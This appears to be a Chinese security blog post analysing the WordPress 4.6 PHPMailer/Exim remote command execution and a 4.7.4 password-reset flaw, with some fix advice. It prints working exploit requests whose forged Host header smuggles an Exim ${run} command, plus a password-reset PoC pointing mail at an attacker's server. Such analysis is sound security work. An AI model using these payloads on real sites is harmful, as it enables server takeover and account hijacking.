cdxy.me
Footprints on Cyber Security and Python

前段时间PHPMailer RCE漏洞作者Dawid Golunski在Twitter中放出一个WordPress自动化Getshell的视频引发大量关注。

今日漏洞作者在 ExploitBox.io 公布了视频中的EXP细节和一个新的WordPress-0day。

目前来看,Getshell的EXP只适用于4.6版本,思路值得学习;而"重置密码"功能的0day适用于最新的4.7.4版本,利用十分困难。

WordPress 4.6 Unauthenticated RCE

该Exp是的PHPMailer RCE一个漏洞利用案例。

PHPMailer将用户输入传入php mail()函数的第五个参数,可以向主机内部指定路径写入webshell。我对此漏洞也做过一点粗浅的分析,认为利用该漏洞的关键点在于能否控制到PHPMailer实例的Sender属性。

下面是两种可利用的情况:

  • 目标CMS使用setForm()函数对Sender赋值,但PHPMailer低版本中安全检查被绕过。(本文WordPress的案例)
  • 目标CMS直接对Sender进行赋值。(BigTree CMS 案例

Sender属性即"邮件发送者",设置这个字段的逻辑大多为以下两种:

  • 管理员在后台设置中指定
  • 系统自动判断

前者可能需要通过CSRF/SQLI/越权漏洞等配合才能修改到,而后者的处理方式各不相同,也许会直接使用可控的输入。

WordPress 4.6版本中对Sender的获取逻辑如下:

if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}

$from_email = 'wordpress@' . $sitename;
}

...
$phpmailer->setFrom( $from_email, $from_name, false );
...

其中$_SERVER['SERVER_NAME']是可被客户端伪造的。

fakeservername.png

这样一来,用户通过修改HOST请求头即可将payload带入PHPMailer。

在接下来的漏洞利用过程中,Exp作者给出了通过Exim4 MTA直接执行系统命令的方法,优于我们所知的Sendmail MTA利用方式(寻找绝对路径写入webshell)。

测试Exim4的payload:

apt-get install exim4

root@iZ28zn6h79xZ:~# sendmail -be '${run{/bin/bash -c "id"}{yes}{no}}'
yes

而后作者发现此类payload之中的/无法出现在HOST字段里,并由此引发了一段精彩的bypass(请务必参考原文学习)。

最终方法是利用substr从预置的 $spool_directory 变量中截取了一个slash出来:

root@iZ28zn6h79xZ:~# sendmail -be '${substr{0}{1}{$spool_directory}}'
/

该payload能够顺利通过HTTP-HOST的要求。

同样,为了防止payload中出现空格,构造'${substr{10}{1}{$tod_log}}'替换space。

最终payload如下:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56


user_login=admin&redirect_to=&wp-submit=Get+New+Password

该请求会使目标主机执行/usr/bin/touch /tmp/test

到此命令执行的思路已经结束,下面自动化Getshell部分不再分析。

WordPress 4.7.4 Potential Unauthorized Password Reset

WordPress重置密码功能由服务器向用户注册时的邮箱发送邮件,如果攻击者能够获取到这封邮件的内容,即可通过其中重置密码链接来修改该用户密码。

利用原理和前一个漏洞相同,攻击者可通过HOST请求头将"发信人"的邮箱设置成攻击者自己的地址,在一定条件下可以获取到这封邮件的内容并重置用户密码。

作者给出的三个利用情景:

  1. 如果攻击者事先知道了admin用户注册的邮箱,可通过DoS手段(传送大文件/攻击DNS服务器)攻击该邮箱地址,导致密码重置邮件的被拒收或者无法送达,此时包含邮件内容的"退信"会发送到攻击者所构造的地址中。
  2. 某些邮箱的"自动回复"功能会将邮件内容作为附件返回给发信人。
  3. 多次发送重置密码的邮件到目标邮箱,迫使用户回信询问情况,回信内容中一般会引用前一封邮件正文。

目前为止感觉利用难度很大,看社工帝们能否给出新的姿势。

PoC HTTP Request

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

修复建议

  • 4.6版本用户请升级到最新版本
  • 对于重置密码的0day官方未发布patch,可参考作者给出的方案写死HTTP_SERVER字段

参考

  • https://legalhackers.com
  • https://ExploitBox.io